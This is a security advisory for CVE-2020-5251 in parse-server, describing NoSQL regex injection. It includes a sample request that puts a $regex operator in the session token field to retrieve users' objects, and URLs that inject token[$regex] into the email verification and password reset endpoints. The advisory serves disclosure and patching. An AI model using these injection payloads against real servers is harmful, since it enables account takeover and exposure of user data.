Advisory

GHSA-h4mf-75hf-67w4

Also known as: BIT-parse-2020-5251, CVE-2020-5251

Summary

Information disclosure in parse-server

Details

  1. you can fetch all the users' objects, by using regex in the NoSQL query.

Using the NoSQL, you can use a regex on sessionToken ("_SessionToken":{"$regex":"r:027f"}} and find valid accounts this way.

Using this method, it's possible to retrieve accounts without interaction from the users.

GET /parse/users/me HTTP/1.1

{
  "_ApplicationId": "appName",
  "_JavaScriptKey": "javascriptkey",
  "_ClientVersion": "js2.10.0",
  "_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300",
  "_SessionToken": {
    "$regex": "r:5"
  }
}

When trying it with an update query the same thing luckily doesn't seem to work:
POST /parse/classes/_User/PPNk59jPPZ

  1. There is another similar vulnerability in verify email and the request password reset.

If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&[email protected]

The same thing can be done for reset password: http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&[email protected]

You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2020-03-04 20:20 UTC
Modified
2026-07-08 06:28 UTC

Affected packages and fixes

parse-server

npm · All systems

Affected

  • introduced 0, fixed 4.1.0 (semver)

Fixed versions

4.1.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences